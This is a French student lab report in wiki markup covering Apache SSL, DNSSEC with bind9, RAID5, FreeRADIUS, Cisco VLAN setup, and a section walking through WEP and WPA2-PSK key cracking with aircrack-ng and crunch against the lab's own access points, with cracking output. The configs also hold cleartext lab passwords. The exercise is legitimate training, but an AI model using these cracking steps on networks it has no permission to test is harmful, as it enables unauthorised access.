   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
Pour cela, on va brancher notre clé USB au PC. &lt;br /&gt;
On monte ensuite cette clé :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
